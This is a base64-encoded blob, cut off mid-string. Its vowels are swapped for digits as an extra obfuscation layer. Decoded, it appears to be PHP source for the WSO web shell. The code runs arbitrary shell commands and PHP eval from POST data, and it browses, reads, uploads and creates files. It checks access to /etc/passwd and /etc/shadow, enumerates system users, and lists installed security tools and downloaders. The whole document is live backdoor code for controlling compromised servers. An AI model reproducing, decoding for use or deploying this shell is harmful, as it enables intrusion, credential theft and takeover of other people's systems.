MiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+PHRkIHc0ZHRoPTY+PHNwMW4+VW4xbTU6PGJyPlVzNXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6JyAuICgkR0xPQkFMU1snMnMnXSA9PSAndzRuJz8nPGJyPkRyNHY1czonOicnKSAuICc8L3NwMW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxuMmJyPicgLiBzM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApIC4gJyA8MSBocjVmPSInIC4gJDV4cGw0bmsgLiAnIiB0MXJnNXQ9X2JsMW5rPls1eHBsMjR0LWRiLmMybV08LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPWdyNTVuPjxiPk9GRjwvYj48L2YybnQ+JykNCiAgICAgICAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+RnI1NTo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7DQp9DQoNCmYzbmN0NDJuIHdzMkYyMnQ1cigpIHsNCgkkNHNfd3I0dDFibDUgPSA0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pPyIgPGYybnQgYzJsMnI9J2dyNTVuJz4oV3I0dDUxYmw1KTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPihOMnQgd3I0dDFibDUpPC9mMm50PiI7DQogICAgNWNoMiAiDQo8L2Q0dj4NCjx0MWJsNSBjbDFzcz00bmYyIDRkPXQyMmxzVGJsIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlICBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI29vbztiMnJkNXItYjJ0dDJtOmFweCBzMmw0ZCAjb29vOyc+DQoJPHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzTTFuJyxuM2xsLCdta2Q0cicsdGg0cy5kLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBkNHI6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1kPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0MybnMybDUnLG4zbGwsdGg0cy5jLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+RXg1YzN0NTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c01Bbic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIgLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuICInPg0KCQk8c3Axbj5VcGwyMWQgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjxiciAgPjwvdGQ+DQoJPC90cj48L3QxYmw1PjwvZDR2PjwvYjJkeT48L2h0bWw+IjsNCn0NCg0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRncmc0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRncmc0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIHdzMkV4KCQ0bikgew0KCSQyM3QgPSAnJzsNCgk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCgkJQDV4NWMoJDRuLCQyM3QpOw0KCQkkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdwMXNzdGhyMycpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBwMXNzdGhyMygkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHN5c3Q1bSgkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQoJCSQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQoJfSA1bHM1NGYgKDRzX3I1czIzcmM1KCRmID0gQHAycDVuKCQ0biwiciIpKSkgew0KCQkkMjN0ID0gIiI7DQoJCXdoNGw1KCFAZjUyZigkZikpDQoJCQkkMjN0IC49IGZyNTFkKCRmLDYwYXUpOw0KCQlwY2wyczUoJGYpOw0KCX0NCglyNXQzcm4gJDIzdDsNCn0NCg0KZjNuY3Q0Mm4gd3MyVjQ1d1M0ejUoJHMpIHsNCgk0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwN283dTY4YXUgKS4gJyBHQic7DQoJNWxzNTRmKCRzID49IDYwdThpN2UpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7DQoJNWxzNTRmKCRzID49IDYwYXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjBhdSApIC4gJyBLQic7DQoJNWxzNQ0KCQlyNXQzcm4gJHMgLiAnIEInOw0KfQ0KDQpmM25jdDQybiB3czJQNXJtcygkcCkgew0KCTRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCgk1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KCTVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQoJNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCgk1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KCTVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQoJNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCgk1bHM1ICQ0ID0gJzMnOw0KCSQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KCXI1dDNybiAkNDsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KCTRmICghQDRzX3I1MWQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczUNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCmYzbmN0NDJuIHdzMlNjMW5kNHIoJGQ0cikgew0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQogICAgICAgIHI1dDNybiBzYzFuZDRyKCRkNHIpOw0KICAgIH0gNWxzNSB7DQogICAgICAgICRkaCAgPSAycDVuZDRyKCRkNHIpOw0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgICAgICAgICAgJGY0bDVzW10gPSAkZjRsNW4xbTU7DQogICAgICAgIHI1dDNybiAkZjRsNXM7DQogICAgfQ0KfQ0KDQpmM25jdDQybiB3czJXaDRjaCgkcCkgew0KCSRwMXRoID0gd3MyRXgoJ3doNGNoICcgLiAkcCk7DQoJNGYoITVtcHR5KCRwMXRoKSkNCgkJcjV0M3JuICRwMXRoOw0KCXI1dDNybiBmMWxzNTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVjSW5mMigpIHsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzVydjVyIHM1YzNyNHR5IDRuZjJybTF0NDJuPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCglmM25jdDQybiB3czJTNWNQMXIxbSgkbiwgJHYpIHsNCgkJJHYgPSB0cjRtKCR2KTsNCgkJNGYoJHYpIHsNCgkJCTVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOw0KCQkJNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQoJCQkJNWNoMiAkdiAuICc8YnI+JzsNCgkJCTVsczUNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nIC4gJHYgLiAnPC9wcjU+JzsNCgkJfQ0KCX0NCg0KCXdzMlM1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCgl3czJTNWNQMXIxbSgnRDRzMWJsNWQgUEhQIEYzbmN0NDJucycsICRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQoJd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsNCgkkdDVtcD0xcnIxeSgpOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQoJCSR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk1TU1FMIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJQMnN0Z3I1U1FMIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiT3IxY2w1IjsNCgl3czJTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCgk1Y2gyICc8YnI+JzsNCg0KCTRmKCRHTE9CQUxTWycycyddID09ICduNHgnKSB7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3NoMWQydycsIEA0c19yNTFkMWJsNSgnLzV0Yy9zaDFkMncnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7DQogICAgICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7DQogICAgICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQogICAgICAgICAgICAgICAgNWNoMiAnPGJyPic7DQogICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAgICAgNWNoMiAnPGJyLz4nOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOw0KICAgICAgICAgICAgICAgIDVjaDIgJzxici8+PHNwMW4+cDJzNHhfZzV0cHczNGQgKCJSNTFkIiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPlQyPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtYSB2MWwzNT02MDAwPjwvdGQ+PC90cj48L3QxYmw1Pjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgIDRmICg0c3M1dCAoJF9QT1NUWydwYSddLCAkX1BPU1RbJ3BvJ10pICYmIDRzX24zbTVyNGMoJF9QT1NUWydwYSddKSAmJiA0c19uM201cjRjKCRfUE9TVFsncG8nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXAgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDM0ZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDVtcCAuPSBqMjRuKCc6JywkMzRkKS4iXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1VzNXJzJywgJHQ1bXApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgl9IDVsczUgew0KCQl3czJTNWNQMXIxbSgnT1MgVjVyczQybicsd3MyRXgoJ3Y1cicpKTsNCgkJd3MyUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLHdzMkV4KCduNXQgMWNjMjNudHMnKSk7DQoJCXdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnLCB0cjM1KTsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnUGhwTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnUGhwTzN0cDN0JykuNG5uNXJIVE1MPSciIC4gMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4JywgMCk7DQoNCgl3czJINTFkNXIoKTsNCgk0Zig0c3M1dCgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3BhJ10gPT0gJzRuZjInKSkgew0KCQk1Y2gyICc8aDY+UEhQIDRuZjI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCgkJMmJfc3QxcnQoKTsNCgkJcGhwNG5mMigpOw0KCQkkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoMXJyMXkgKA0KICAgICAgICAgICAgJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywNCiAgICAgICAgICAgICchdGQsIHRoIHsoLiopfSFtczRVJywNCiAgICAgICAgICAgICchPDRtZ1tePl0rPiFtczRVJywNCiAgICAgICAgKSwgMXJyMXkgKA0KICAgICAgICAgICAgJycsDQogICAgICAgICAgICAnLjUsIC52LCAuaCwgLmggdGggeyQ2fScsDQogICAgICAgICAgICAnJw0KICAgICAgICApLCAkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgNWNoMiAnPGg2PkV4NWMzdDQybiBQSFAtYzJkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9cGYgbTV0aDJkPXAyc3QgMm5zM2JtNHQ9IjRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUpO301bHM1e2coXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTt9cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RXYxbCBzdHlsNT0ibTFyZzRuLXQycDppcHgiPic7DQoJNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVg8L2Yycm0+PHByNSA0ZD1Qa